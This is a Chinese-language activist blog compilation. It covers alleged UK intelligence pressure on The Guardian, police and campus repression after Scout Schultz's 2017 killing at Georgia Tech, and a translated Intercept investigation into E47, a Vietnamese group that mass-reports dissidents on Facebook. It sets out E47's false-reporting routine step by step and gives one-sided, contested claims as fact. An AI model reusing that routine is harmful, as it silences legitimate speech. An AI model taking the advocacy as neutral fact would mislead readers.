2019年5月20日，泰晤士报报道了 Rendition Project 提出的信息自由请求，该组织是一群从事酷刑问题研究的学术专家，研究表明国防部一直在“制定一项秘密的酷刑政策，可能导致虐待被拘留者的行为”。

传统上，这应该是卫报报道的东西，而不是鲁珀特·默多克（Rupert Murdoch）拥有的泰晤士报。然而，据一位民间社会人士透露，许多从事这一领域工作的民间团体不再信任《卫报》了。

一位前《卫报》记者也是这样说的：“重要的是，最近有关英国在酷刑和勾结中对嫌疑人和其他被拘留者进行审讯的独家消息已经传递给泰晤士报而不是卫报。

泰晤士报以“酷刑：英国在国防部的秘密政策中违反法律”为标题，发表了独家新闻。但是，请注意，在这篇文章发表之前，国防部就向《卫报》提供了泰晤士报即将使用的相同文件，官方认为卫报可以通过侧面描述来减轻泄密的影响。

《卫报》在《泰晤士报》的独家之前就发表了他们自己的文章，其标题肯定让政府感到高兴：“国防部表示，修订后的酷刑指导方针不会降低标准”。但是，对文件的检查表明这显然是虚假信息。

《卫报》从过去的短短六年间，就自然地从一个揭露者变成了间谍部门的帮凶，只为了扩展其业务。

曾经相对独立的媒体平台已被间谍部门废掉了 —— 就是那些始终在

担心自己的阴暗面被曝光的家伙们。

这就引出了问题：下一个斯诺登可以投靠谁？〇

How the UK Security Services neutralised the country's leading liberal newspaper

原文

从叙事矩阵到高科技群众斗群众：21世纪维稳5步拳 - iyouport

维稳面面观

记忆意味着战斗 -- 历史上的今天

2017年9月16日，无政府主义者、反法西斯主义者、工程学学生和同性恋活动家 Scout Schultz 在亚特兰大中城的乔治亚理工大学校园内被警察枪杀。两天后，在校园里举行的守夜活动中发生了一场小规模的反抗行动，悼念者与警察发生冲突，并烧毁了一辆警车。

而在接下来的日子里，整个城市的执法部门协调开展了一场针对死者 Schultz 的朋友和亲人的大规模且复杂的镇压行动，将与死难者有关系的任何人从教室里拖出来、闯入他们的家中逮捕他们。

整个过程尽现了**21**世纪维稳战术的标准五步拳法。我们认为有必要总结一下。虽然中国读者可能会对其中的一部分非常熟悉。

这种骚扰式镇压最终导致 Scout 的前伴侣 Dallas Punja 和 Kirby Jackson 自杀，后者因参与反抗行动而被逮捕和指控。

2020年3月13日，地区检察官保罗·霍华德决定不对此案中的凶手泰勒·贝克警官提出指控，直到如今泰勒·贝克警官仍然为佐治亚理工学院的警察部门工作。

足见，这套维稳战术是何等的高效。

本文将介绍这套标准的维稳五步拳，这些思考献给全世界各地那些感到愤怒、害怕和绝望的人们，即便我们从未谋面，即便我们说着完全不同的语言，我们依然可以彼此关怀。让我们找到彼此，创造一个没有警察或同性恋恐惧症的世界，在这个世界里，教育不是商品，人的生命也不廉价。

Step 1、叙事矩阵的布设和操控

「图」

请回忆一下BLM抗议活动发生的最初，一大群中文信息源是如何跟随错误的英文叙事操纵去强调乔治·弗洛伊德“个人品行问题”的？这一严重误导性的叙事矩阵恰恰旨在拉动大众的注意力远离真正的恶行。

不幸的是，在最初阶段，很多中国围观者纷纷中计 —— 这极具讽刺意味，因为，如您所知，中国是警察暴力最为严重的国家之一，理论上，人们应该对警察暴力行为深恶痛绝，至少是非常敏感并对受害者具有同理心。然而，现实证明，一个如此简陋的叙事矩阵操纵就降服了如此多大众的认知，这非常可怕。

您觉得什么才算是警察暴力？直接开枪射杀吗？……强迫失踪算不算警察暴力？酷刑算不算警察暴力？强闯民宅呢？强行搜查手机呢？黑头套、禁飞边控、“监视居住”、骚扰威胁 …… 这些都在中国频繁出现，和您做了或没做什么，基本无关。正如德国活动家准确地指出的那样：“我们不能仅仅满足于尚且没有被正面射杀 …… 我们必须要求得到像真正的公民那样的尊重和待遇”。

相比下学生活动家 Scout Schultz 被射杀的案件中，这一叙事矩阵更加微妙和可怕，因为它切中了大众的认知薄弱。

9月16日，有人打电话给佐治亚理工学院警察局，描述了一个“长发男子[警察记录的原文]，携带着似乎是一把刀，也许是一把枪”。后来，佐治亚州调查局声称，打这个电话的人是 Scout。

午夜时分，四名佐治亚理工学院的警察遇到了Scout，他赤脚行走，并携带一把小型多功能工具。在网上发布的一段视频中显示，Scout 向警察喊话，要求他们开枪，而警察答应了。Scout 被射中心脏而死亡。在 Scout 的公寓里发现了所谓的“自杀笔记”。这立即成为镇压策略的重要内容，因为警察、行政部门、甚至许多学生，就此开始部署“寻死挑衅”的叙事矩阵，将 **Scout** 扭曲为“攻击者”，而警察则是真正的“受害者”。

所谓的“寻死挑衅”是对一种被大众广泛接受的恶意行为的描述，它指的是一个想要自杀的人由于自己下不去手，而故意“滋事”，从而“引诱”警察将其击毙。我们曾经在几年前的一篇文章描述过这一概念的故事，见《百忧解时代（三）令人沉迷的广义化自杀》。也正因此，这一概念有可能被用来扭曲和抹黑那些被警察射杀的无辜者，以帮助警察脱罪。9月18日守夜活动现场

其后果就是 ——

接下来的星期一，9月18日，数百名学生、工作人员、教师、和朋友聚集在佐治亚理工学院的凯斯勒钟楼前，为 Scout 守夜祭奠。现场许多年轻人都在哭泣并手持蜡烛。

但是，很快你就可以看出，这次守夜并不是完全自发自由的，而是镇压策略的一部分 —— 它被叙事矩阵所利用。因为行政人员和学生官僚拒绝让 Scout 最亲密的朋友发言。对于决心在团结和所谓的校园自豪感的外表下掩盖 **Scout** 之死的政府来说，这次活动成了一个拍照搞宣传的机会。

20分钟后，活动负责人宣布守夜活动结束。人群中的许多人感到困惑，其他人则感到愤怒。很大一部分人开始怒斥警察、资金不足的咨询设施、校园生活的有毒文化。

大约100人离开了守夜活动，大多数人戴着面具，在佐治亚理工学院警察局（GTPD）总部外与警察对峙。就是在那里，警察袭击了游行队伍，游行队伍也进行了反击。

在随后的混战中，警察逮捕了三名抗议者，并殴打了更多人；一辆警车被放火烧毁。 被捕者被指控犯有重罪，被圈养的企业媒体在电视和互联网上公布了被捕者的照片。**2021**年，成都**49**中学学生坠楼死亡事件后，校门外的抗议人群

2017年**9**月**18**日，佐治亚理工学院的守夜纪念活动

Step 2、为镇压埋下伏笔

「图」

第二天早上，佐治亚理工学院枪手俱乐部已经在校园里摆上了桌子和粉笔。他们的牌子上写着 “我们爱你GTPD” 和类似的信息，给警察洗地。他们鼓励学生在人行道上用粉笔写下赞美警察的信息。在网上，还有人为警察部门发起了一个筹款活动，其筹款数额几乎是为被捕者筹款的两倍。甚至写有 “I ❤ GTPD（我们爱佐治亚理工学院警察局）” 的T恤衫开始销售。就类似紧跟新闻热点的中国淘宝网店。

校园管理者发表了关于所谓的 “外部煽动者”、无政府主义者和反法西斯分子 “入侵校园意图破坏” 的虚伪言论，以此来试图证明当局向教师和学生大规模发布警报和电子邮件的做法是合理的，也试图为校园

的高度军事化措施洗白，因为警察、联邦特工、便衣警察和直升机，在这一周的其余时间里一直在包围该地区。

几乎同时，新纳粹组织 Identity Evropa 立即恢复了他们的围攻战“#Project Seige”，在校园和周边地区张贴贴纸和海报，表面上是希望利用GTPD和校园管理部门鼓动的愤怒作为一个招募机会。行政部门、警察和一个明显的白人至上主义组织之间的这种共生关系非常值得注意。

[[

「图」

iyouport

"只有起义才能拯救我们"：要彻底铲除让暴政掌权的土壤，而不仅仅是瓦解现有暴政

【按】鉴于中国的极右翼思潮盛行，我们可以预测未来如果中国出现反抗行动，反抗者的对手也不仅仅是警察、间谍和军队，你们很可能将面对来自整个社会的愚蠢和保守的攻击。这种情况下要想站稳脚跟坚守战略目标，您需要足够的冷静和清醒。 别忘了，改良派最擅长画大饼，而当您饥饿得头晕眼花时，要看清哪张大饼是假的，不仅需要定力也需要智慧。 这篇文章讲述的是一个重要的思考，这一思考在很多国家具有意义，包括未来的中国。…

Read more

3 years ago · 2 likes · iyouport

|https://iyouport.substack.com/p/30e?utm_source=substack&utm_campaign=post_embed&utm_mediun

在佐治亚理工学院的 subReddit 上，一个深受学生和教师欢迎的在线论坛上，警察、校园自由派、和新纳粹分子的言论混杂在一起。所谓的 “寻死挑衅” 和 “抵制安替法” 的言论在几天内广泛传播几乎毫无争议。

由福克斯新闻的塔克·卡尔森经营的极右翼新闻网站 “The Daily Caller” 称，校园内的反抗事实上不是来自外人，而是来自学生群体本身；这是源于一些极右翼有意培养这样一种叙事，即：“全国各地的大学正在发展一种叛乱的左翼文化，其典型代表是加州大学伯克利分

校的反法西斯叛乱”。这一论点背后的反动战略是植入这样一种观念，即：为了捍卫“美国的生活方式”，有必要打击学生组织团体和所谓的自由主义教育者和课程。

一些左翼和进步派的学生团体谨慎地远离了对 Scout 谋杀案的任何比例的反应，只向政府提交了微不足道的要求。这些团体的许多成员都是善意的，并且，任何有意与管理者和警察合作的人都会被用来作为舆论武器，将那些拒绝合作的人病态化，使当局能够将拒绝合作的任何人描绘成“不合理的、危险的、可能是疯狂的”。

9月22日星期五，当 Scout 的一小群朋友试图在咨询中心举行自发的守夜和静坐时，警察直接封锁了校园。课程和访问都被取消了，直升机在头顶盘旋，管理人员鼓励教师取消课程，谎称“安替法”要发动暴乱。便衣警察试图恐吓人群，而右翼学生则向哀悼者大喊“Harambe”的笑话—— 这是一个极右翼的种族主义狗哨，指的是一只大猩猩在一个孩子进入其围栏时被射杀。在 Scout 被谋杀后，新纳粹组织 Identity Evropa 组织发布的法西斯宣传。

Step3: 警察开始围捕学生

「图」

在起义后的几天里，GTPD的警察开始在他们的 Twitter 上发布所谓的参与者的模糊照片。几乎所有照片上的人都是黑人，许多照片除了给人留下一种类似“外部敌对势力煽动”的误导性印象外，根本毫无用处。同时，校园警察引导学生到 Leedir.com 网站，让他们在那里匿名提交该事件的录像和照片。

简单说，群众斗群众。

9月27日，在一次跨部门的行动中，亚特兰大警察局、佐治亚州立大学警察局和佐治亚理工学院警察局逮捕了一名佐治亚州立大学的学生，他被指控参与了上一周的示威活动，罪名是“煽动暴乱”。两天后，9月29日，另一名佐治亚州立大学的学生被警察直接从教室里拉走，并受到同样的指控。10月2日，第三个佐治亚州立大学的学生被逮捕。

行政部门和警察部门希望尽可能多地围捕**9月18**日示威的参与者。无论这些指控是否成立，他们的目的是在**GT**校园内，甚至可能在全国的大学校园内造成一种寒蝉效应。

管理者希望他们的警察能够在校园内杀死一名学生而不爆发任何丑闻。这在美国最近的历史上是史无前例的，但在印度尼西亚和白俄罗斯等地却是常态。现在，他们正在逮捕非学生，以发挥他们在校园里培养的狂热的微观民族主义，他们以前曾用这种方式来为GT所在的Home Park 社区的残酷的高档化改造洗地。中国，**2011**年**2**月

美国，**2017**年**9**月**18**日

Step4: Leedir, LiveSafe, 和高科技警察

「图」

校园管理部门和警方一直在利用 LiveSafe 和 Leedir 这两家科技创业公司来推动镇压进程。

——LiveSafe：用来抹黑，实时制作反击性叙述

「图」

管理人员正在鼓励学生、教师和校园警察使用 LiveSafe 平台。根据他们的网站："学生、教职员工被委派提供众包情报，而校园保安可以通过 **LiveSafe** 轻松整合的指挥仪表板发送大规模紧急通知"。

有了这个工具，当局能够指示学生回到他们的寝室或留在校园外，坚称"暴乱"正在进行，"学生们处于危险之中"。在整个校园里，可以看到年轻人要么涌向燃烧的汽车，要么恐惧地跑向自己的房间或汽车。这样一来，就相当于实施了非正式的宵禁。

从那时起，当局已经能够使用 LiveSafe 来吸引潜在的告密者，使用他们的另一个工具：Leedir。

—— Leedir：照片和视频的武器化

「图」

Leedir 是由 CitizenGlobal 开发的工具，这是一家洛杉矶的科技初创公司，其成名之作是在波士顿马拉松爆炸案发生后利用这项技术协调数据分析，并在2014年 DELTOPIA 期间镇压圣巴巴拉的年轻人，那些年轻人当时在反抗警察暴力。

Leedir 使佐治亚理工学院警察局这样的客户能够轻松提炼出从社交媒

体帖子、新闻文章、在线视频和照片、闭路电视录像和匿名提交的视觉信息中汇总的开源情报数据。

LiveSafe 直接授权给个人，希望把每个人都变成警察，而 **Leedir** 则把即使是不愿意合作的人产生的数据也作为武器，收集数据和收集提交的资料，利用亚马逊网络服务在 “云端” 托管。几年前，当新罕布什尔州基恩市的校园抗议发生时，Leedir 被用来进行了25次额外的逮捕。中国，**2021**年，成都**49**中学学生坠楼身亡事件后，中国网络上的 “敌对势力” 论叙事矩阵

Step5: 引导 “敌对势力” 舆论 —— 谁是 “外部煽动者”？

「图」

反抗行动发生后的几周内，政府和警方正在寻找所谓的 “外部煽动者” 的情况开始变得清晰起来。

这些 “外部煽动者” 是黑人—— 佐治亚理工学院在试图与佐治亚州立大学和其他校园竞争的过程中，已经将黑人人口赶出了Home Park；

这些 “外部煽动者” 是同性恋者—— 学生代表、行政部门、新法西斯主义者和善良的自由派都声称，是 “外部煽动者” 在9月18日的守夜之后发动了叛乱，并在那个星期五再次入侵校园进行守夜。在 “捍卫 LGBTIA” 的横幅后面，是由变性人和非变性人青年领导的游行。难道这些人不允许对他们的朋友被法外处决做出反应吗？；

这些 “外部煽动者” 是 “疯子”，精神不正常的家伙 —— 在网上和对媒体的官方声明中，学生和当局无情地争辩说，Scout 的自杀行为证明他们的法外处决是 “合理的”。对他们来说，这个简单的事实为这一事件画上了句号，任何持相反意见的人要么是 “投机分子意图攻击工程学院”，要么只是另一个需要现实检验的疯子；

这些“外部煽动者” 是无政府主义者和反法西斯主义者 —— Identity Evropa、GT Marksman 俱乐部、GTPD和学校校长很快将焚烧巡逻车和与警察发生冲突的责任归咎于无政府主义者和反法西斯主义者。甚至自由派和一些进步团体也附和他们的说法。难道真的只有那些没有任何政治信念的人才有权进入佐治亚理工学院的校园吗？；

这些“外部煽动者” 是服务人员、失业者、无家可归者、体力劳动者、和单亲父母 —— 许多**GT**学生都渴望毕业后为武器制造商或技术公司工作，他们坚持认为示威者来自 “校园外” 这是有文化内涵的：现在

GT如此昂贵，附近的社区如此士绅化，而校园文化如此消极和反动，一定是整个城市甚至来自郊区的平民分子 “造成了暴力”……

从某种意义上说，这些也算是事实。现在，Howell Mill 的工厂已被改造成豪华公寓，麦坎尼克斯维尔的生产设施正在腐烂，公共住房被关闭，一定是那些因 Scout 的谋杀案而感到愤怒的人中有许多人并不住在校园里。现在，HOPE奖学金已经被取消，反移民法继续导致校园和社区的多样性流失，社区学院被佐治亚州立大学这样的大型高校收购，可能真的不是每一位前来哀悼死难的朋友的人都能接受高等教育。

但是，我们不能指望身份、邻里、职业等合法化因素来证明采取 **Scout** 之死要求我们采取的那种行动是合理的，我们必须能够确保警察永远不敢谋杀另一个人。为 **Scout** 站出来的所谓 “外人” 应该为自己的行为辩护，而不是寻求那些希望为谋杀开脱的管理者的认可。正是这一事实—— 那些反叛者的自我合法化的无政府状态—— 使他们在那些拼命要掌控叙事矩阵和垄断合法使用武力大权的当局眼中成为 “外部煽动者”。加州伯克利的团结行动

捍卫 **Scout** 的记忆

「图」

我们必须通过重新获得主动权来回应所有这些挑衅。Scout 是一位无政府主义者，一位反法西斯主义者，一个活跃在校园内外的同性恋活动家。只有继续推进对这个社会中所有经济和警察控制的多样化和多层面的反抗，我们才能保护自己和对方免受进一步的压迫。

当校园管理部门和亚特兰大地区警方被迫应对合法性危机、发现自己卷入丑闻和敌对行动时，他们将无法来敲我们的家门、或把我们拖出教室逮捕。 支持被捕者的努力一直在进行，而且是有组织的，但这些努力必须继续下去，直到撤销指控或休庭。保释基金必须通过各种捐款和筹款努力来补充。

对 Scout 的记忆和以 Scout 的名义进行的反抗，可能被用来要挟全国的年轻人保持沉默，作为对各地愤怒和绝望的反叛能量的警告；或者，它们可以点燃更多的爱和愤怒的表达，成为革命者多年来的灵感。让更多人变得聪明和有创造力。

与其等待大量人群加入我们，不如创造条件，让人们能够在哀悼和勇气中走到一起，这样就不会再有人像 Scout、Dallas、和所有其他被

这个仇视同性恋的压迫性社会杀害的人那样悲痛地死去。

“历史上的今天” 并不是一个互联网段子手的热门标签，共同的记忆本身应该作为一种战斗力而被后人挥舞着，行动才是真正的纪念 —— 行动，是让给过去真正能 “过去” 的唯一方法。〇***Remembering Scout Schultz, executed by GTPD on 09.16.2017***

资料：

「图」

The Great Pumpkin Riot is a White Riot Worth Taking Seriously

‘Deltopia’ party in California turns violent; dozens arrested

Protesters Arrested At Georgia Tech Memorial March for Scout

Georgia Tech Continues Misdemeanor Arrests Weeks After Fiery Protest

There is no such thing as suicide by cop

Remembering Means Fighting

原文

从在线骚扰到线下逮捕：社交媒体被武器化针对异议人士，美国寡头漠不关心 - iYouPort

关于Facebook-这不只是一家公司审查和自我审查-民主的支柱是如何歪掉的维稳面面观

这种状况也是中国一直以来持续发生的

【按】这篇报道中所描述的状况在中国有着非常近似且突出的持续表现，这一持续已经很多年；幸运的是，最近已经有部分中国敏感人士认识到了美国寡头的威胁。这一威胁覆盖全球，远非美国本土。

透明度报告是在多年的权利运动压力下寡头公司不得不承诺和遵守的仅仅一少部分“透明度”。如果透明度报告显示这些公司遵守了很多政府官方要求的审查，他们将遭受公众舆论的压力。于是尽可能少地将事实上的审查行为呈现在透明度报告中，就成了这些寡头公司的追求。但这并没有影响这些公司的利益，尤其是，并没有影响支撑这一利益的与暴政的同谋行为 ……

请注意，当同样的状况发生在俄罗斯时，美国寡头可以迅速采取有效的行动；但是，当它发生在不是俄罗斯的其他国家时，却是这样的结果。这并不是简单的经济利益，对么？

「图」

「图」

在过去的两年里，杜阮玫瑰（Do Nguyen Mai Khoi）一直在痛苦地、徒劳地试图让 Facebook 关注越南。这位越南歌手和民主活动家，最出名的名字是 Mai Khoi，她不遗余力地试图警告该巨头公司，Facebook 上有一个数千人的亲政府团体，该团体由警察、军队和其他忠于执政党的人组成，他们通力合作，压制网上异议人士的声音，导致异议人士被抓捕和被关进监狱。

她对该组织的活动证据充足，论点明确，尽管一直面临本国当权者的报复风险，但她的决心似乎是用之不竭的。

唯一的问题是，Facebook 似乎一点也不感兴趣。

对于越南这样一个国家来说，Facebook 让该国公民可以绕过本国当局对传统媒体的审查束缚，Facebook 正在该国曾被短暂地誉为 “天赐良机”，但现在却成了另一种扼杀手段。

充满政府游击队的私人团体负责协调性行动针对任何被越南政府认为是 “反动” 的观点的清除活动 —— 甚至更糟，而 **Facebook** 除了对自由表达的理想提供花言巧语之外，始终没有任何作为。

The Intercept 得以深入一个名为 “E47” 的秘密的越南审查大队，以了解这一状况；Facebook 对此明显的漠不关心，很明显，该公司已经让用户非常失望。

E47 只是越南和世界各地的压制性政权指使的互联网言论审查小组中的一个例子，但 Facebook 从未对此做任何事，无论是哪个国家的这类网警，都让持不同政见者非常担心，特别是那些过去可能相信 Facebook 承诺的人。

在2019年10月华尔街日报的一篇专栏文章中，首席执行官马克·扎克伯格（Mark Zuckerberg）宣称，“Facebook 代表言论自由”，“在一个民主国家，一家私人公司不应该有权审查政治家或新闻”。首席运营官谢丽尔·桑德伯格（Sheryl Sandberg）在国会宣誓作证时表示，该公司 “只有当我们能在一个国家开展符合我们价值观的业务时，才会在这个国家开展业务”。但是，Intercept 的调查显示，这种公开崇尚自由表达的说辞与该公司的幕后做法有着天壤之别。

为了确保公司本身继续在越南互联网的角落里享有主导性的、高利润的份额 —— 据说"每年价值10亿美元" —— **Facebook** 越来越多地遵守该国政府提交的内容删除请求，理由是这些内容本身在越南是 “非法的”。这是世界各国政府都在采用的一种审查形式，而越南似乎一直在拼命执行。去年4月，路透社报道称，越南政府将 Facebook 的服务器速度降到了无法运行的地步，导致 Facebook 同意遵守更多官方的删除指令。

但正如 Mai Khoi 发现的那样，越南的 Facebook 也受到非官方审查的困扰，这种审查不是通过宣布内容非法来实现的，而是通过协调性虚假举报 —— 将内容标记为违反 Facebook 自己的内容规则，即所谓的 “社区标准”。这使得 Facebook 将普通的政治言论当作 “”仇恨言论、暴力煽动或血腥视频” 来删除。

【注：在中国也发生过这样的事。背后很可能是政府指使的网络水军团队集中式地大量重复使用社交媒体的 “举报” 功能 —— 不只有 Facebook、还有Twitter，触发社交媒体自动删除异议人士的合法言论。】

> **Facebook** 给完全合法的政治言论贴上 “暴力煽动” 的标签并予以删除。这是基于既得利益的。

根据 The Intercept 的调查和对地区专家的采访，像 E47 这样的 Facebook 私人团体不仅密谋将不受欢迎的政治言论从网站上消失，而且，他们还直接与越南国家维稳机构合作，将骚扰迫害带到现实世界中 —— 即 **doxxing**。

通过 Facebook 监视自己的邻居，然后暗中向当局举报的能力被简化和扁平化了，用硅谷的一个术语来说就是变得绝对 “无摩擦”。

📌 Facebook 有一个既得利益，让他们同意这种非官方的、后门式的审查战术。当帖子被认为违反了当地法律，并通过官方渠道被删除时，Facebook 会遭受公众的谴责，因为它在一年两次的透明度报告中统计了这种 “合法的内容限制”。但当这些言论通过 Facebook 自己的内容限制政策被删除时 —— 这些政策难以捉摸，不断变化，而且已经很成熟、可供利用 —— 删除的内容不会被公众看到；它们只是悄无声息地消失了。这为 **Facebook** 提供了一条途径，通过这条途径，**Facebook** 可以用扼杀公共利益来换取该公司进入越南市场的机会，将互联网的民主化潜力完全倒置。

- 2018年《政府的压力将透明度报告从言论自由的庆典变成了审查的庆典》

“Facebook 曾经被视为越南言论自由的巨大希望”，大赦国际区域活动负责人 Ming Yu Hah 告诉 The Intercept，“而如今，审查制度的加强正在迅速改变这种状况。大赦国际已经记录了数十起与网络言论有关的任意逮捕和起诉、在线攻击和其他形式的线下攻击案件。任何揭露侵犯人权行为的人，或者揭露涉嫌腐败或滥用权力的人，或者仅仅是挑战共产党的说法的人，都有可能发现自己处于枪林弹雨之中”。

通过发言人 Drew Pusateri，Facebook 拒绝对本文发表评论。Facebook 的一位经理告诉 Mai Khoi，该公司对 E47 的选择是 “有限的”，因为该组织的运作 “没有捏造或掩盖成员的身份”。

「图」

「图」

“越南的 Lady Gaga” 和 Facebook

虽然 Mai Khoi 因其动听的嗓音而经常被称为 “越南的 Lady Gaga”，但将其与 Pussy Riot 相提并论或许更为恰当。和这个俄罗斯团体一样，Mai Khoi 因对统治她的祖国的镇压政权采取执着的、毫不留情的批评，让她成为众矢之的。2018年，在她为新专辑进行欧洲巡演之后，越南警方对她进行了长达8个小时的拘留和审讯，这一事件是在一连串突袭音乐会、驱逐和没收专辑的基础上发生的。

曾经有一段时间，Facebook 似乎可以帮助像 Mai Khoi 这样的人。“当警察突袭我的演唱会，我被禁止唱歌时，Facebook 曾经允许我规避审查制度，并在网上发布我的新专辑”，她在2018年华盛顿邮报的一篇专栏文章中写道，“但我也看到了 Facebook 是如何被用来压制不同意见的。”

从那时起，Mai Khoi 就以同样的异议精神瞄准了 Facebook，她现在不仅是越南国家的敌人，并且在要求另一个更强大的和不透明的超级官僚机构进行改革 —— 不同的只是，该机构的总部设在美国的门洛帕克而不是河内。在 **Mai Khoi** 的估计中，**Facebook** 已经从一个潜在的言论自由和政治活力的引擎转变成了一个异常强大的审查和胁迫的引擎。

虽然 Mai Khoi 设法利用她的名气与 Facebook 高管进行了一系列的会面和交流，任何活动人士都可以告诉你，即使不是不可能，也很难获得，但她现在说，该公司在过去两年里或多或少地对她进行了打击，只提供了空洞的保证和原则性的陈词滥调来回应她的游说。

与此同时，她在越南的同胞异见人士、活动家和记者们继续通过 Facebook 受到惩罚和威胁，无论 Mai Khoi 向 Facebook 提出了多少证据，都没有任何改变。

两年多来，Facebook 一直在告诉 Mai Khoi，该公司理解她的担忧，致力于人权，并决心让该平台成为自由表达的安全平台。但是，在这两年里，像**E47**这样致力于让数千万联网的越南人无法和平表达不同意见的 **Facebook** 私人 **Trolls** 团体继续自由运作，就像今天这样。

E47这个名字显然是指越南军方的 “第47旅”，国家媒体2017年宣布将部署1万名工作人员，以 “主动打击网上发现的错误观点”。这个E47就在同一天成立。据《华尔街日报》报道，“当许多国家的部队和政

府都在谈论对网络空间的真正战争时，（越南）也应该做好准备，在每一秒钟、每一分钟和每一小时都与错误观点作斗争”，Nguyen Trong Nghia 将军当时对47旅说。

目前还不知道E47在多大程度上是越南国家的官方行动，甚至就是由47旅自己运营的。在越南，无论是这样的社交媒体团队还是共产党志愿者，都有着许多相同的方法、动机和目标，这使得他们的活动很难甚至无法与外界区分。实际上，像47旅这样正式组织的军队审查小组和被称为 du luan vien 的志愿者大队（如E47）之间的界限可能很少，甚至不存在，在方法、目标和动机方面它们几乎完全重叠。据 The Verge 报道，在E47成立之前的几年，越南宣传办公室雇佣了数百名网络“舆论塑造者”，他们与 Facebook 上的亲政府团体的关系并不明确。

Hah 告诉 The Intercept，越南“当局采用了一切可以利用的方法来推进他们的审查和监视”，既采用官方的、“合法”取缔措施，也采用与巨魔农场类似的策略，最大限度地压制言论。

“Du luan vien 的意思是‘舆论塑造者’，是一群由越南共产党宣传部招募和管理的人”，Hah 说，“他们的作用是通过监视、监控、挖苦批评者，以及传播亲越共的宣传性信息来保护政府免受网上批评。据我们了解，他们往往是从年轻的CPV成员和胡志明的共青团中招募的。虽然他们的行动和职责不透明，但我们认为他们执行的功能与47旅等国家‘网络部队’有许多相似之处。”

一些 E47 成员确实使用了假名，违反了 Facebook 的政策，但其他许多成员并不理会。无论 E47 是否是国家的正式组成部分，他们的行为对该国执政党都有很好的代表性。

越南军队和警察似乎是该组织最活跃的成员之一，尽管是在他们的个人账户上。人们经常可以点击E47上的帖子，发现作者的照片清晰地表明他们在警察局里微笑着工作，或者穿着军装在炮兵旁边摆出姿势，胸卡清晰可辨。与他们并肩作战的还有多位越南新闻界人士，其中包括大众报纸《**Ngày Nay**》和国营媒体《**VnExpress**》的两位编辑，他们担任该组织的管理员 —— 尽管**E47**的攻击目标就包括压制持不同意见的记者和博主。

E47成员就在互联网的光天化日下工作，他们似乎能够完全绕过 Facebook 用于打击俄罗斯政府社交媒体宣传团队的规则，这种团伙曾试图影响2016年总统大选。

Facebook 通过针对巨魔农场赖以生存的捏造身份，禁止所谓的 “协调性不真实行为” 来打击此类信息战。但 E47 似乎使用了具有真实姓名和真实照片的 “真实” 账户，绕过了 “不真实行为” 规则。

通过简单地不完全按照俄罗斯巨魔农场四年前的方式操作，像E47这样的团体可以造成俄罗斯人从未完成的程度对真实世界的伤害，同时避免了 Facebook 在2016年大选后大肆宣传的 “打击政府干预”。

「图」

「图」

这段话的大致意思是：“9月27日某人诽谤英雄、侮辱党，此人被**地警察请来喝茶。某人像小狗一样在警察面前。另一个人已经从家中逃走，如果你在任何地方看到此人，请向最近的警察部门报告。不鼓励伤害嫌疑人…… 但踢他几脚肯定感觉很好”

走入网军内部

为了证实和记录这个团体的活动，Intercept 访问了这个只接受邀请的E47团体，发现这个团体的环境非常随意，没有任何能让人联想到反异议阴谋的迹象。

E47感觉更像是一群朋友，而不是一个审查员的网军。笑话、meme、偏离主题的辩论夹杂在一起，他们就是用这些东西作为武器将越南异议人士和外国记者驱逐出平台的，或阻止其工作。

这些社交恶作剧掩盖了一个平稳运行的压制异议的机器。E47成员共享一个目标，通常提议某个政治上持不同政见的作家或出版物作为审查的矛头指向。这个提议往往伴随着一个目标的图像，上面画着一个红色的 “ ✕ ”，以突出重点。

从那时起，任何有兴趣 “帮助” 惩罚这些目标记者、活动家或被认为是反动分子的普通市民的E47成员，只需按照提供的链接找到有关帖子，并举报它违反了 Facebook 永远灵活的社区标准，无论事实是什么。

虽然 **Facebook** 经常吹嘘它在全球范围内不断投资扩大的人力和算法内容审查能力，但**E47**在玩弄算法系统和集体举报异议政治言论方面取得了巨大的成功，他们能够"成功地令异议从网络上消失"，并在没有追索权的情况下使发言者沉默。

虽然打压策略随着时间和目标的不同而略有不同，但E47执行它所谓的 “tac chie” 即 “目标行动”，一般都遵循同样的玩法：提交一个又一个的虚假报告，数量众多，以至于 Facebook 删除一个完全无辜的帖子或页面就好像它们实际上违反了什么规则。

在2018年1月的一篇帖子中，一位自称 Huyen Nguyen 的E47管理员列出了这样一个压制 Facebook 言论的万能方法。利用 Facebook 的内置工具 “how to fight” 的三步曲，简单直观。

对于一个被瞄准的 Facebook 页面，E47的用户被要求给它打一星（满分五星），将该页面的帖子标记为 “含有可信的暴力或自杀威胁”，然后将该页面本身报告为垃圾信息。其他E47的目标行动要求该组织超过**3400**名成员谎称其他违反社区标准的行为，如色情 —— 然后用实际违反规则的暴力或色情评论向目标页面发送垃圾信息，本质上是植入可被禁止的犯罪证据。

「图」

「图」

使用Facebook内置工具进行 “how to fight” 的三步过程

E47的领导人经常敦促他们的成员在参加 **Facebook** 突袭时使用 **VPN**，使他们能够通过美国的服务器路由他们的互联网流量，以掩盖他们在越南境内的真实IP地址和地理位置。

作为 Trolls 军团精神的最后姿态，E47 成员通常会留下一张截图，纪念他们的虚假举报，互相欢呼，并提供厚颜无耻的军国主义式更新（“报告完成任务，结束”），或者有时只是简单地评论 “RIP”。

但被封锁的 Facebook 页面有时可能只是E47的最小损失。2019年1月，Nguyen 将军的一份题为 “在互联网上消除反动分子的过程” 的E47备忘录显示了在线敌对行动如何只是全部攻击的一个支柱。

该备忘录显示，**Nguyen** 鼓励小组成员编制异见人士和政权批评者的档案，不仅追踪他们的所谓 “冒犯性言语”，与可能违反越南法律的行为进行交叉对比，而且，还追踪这些异议人士的个人生活和工作地点等私密细节。Nguyen 的帖子鼓励其成员不仅向当地警方举报E47的目标，还指出该组织的管理者应该亲自向越南公安部内部人员举报个人行为。

“Trolls 组织的行为在越南有非常严重的现实后果”，人权观察组织亚

洲部负责人布拉德·亚当斯在给 TheIntercept 的邮件中说，他列举了在 Facebook 上针对 “异议人士的身体骚扰” 的例子。**E47**也不例外，经常指示其成员追踪异议人士的行踪，以便在线下施加迫害。

- 如何抵御这种迫害？不要错过 ~ 《给活动家的反人肉指南》

TheIntercept 看到的多个帖子显示，E47成员要求帮助识别或在某些情况下实际找到当地的 “反动分子” —— 通常是被指控批评警察或参加过现实世界抗议活动的人。

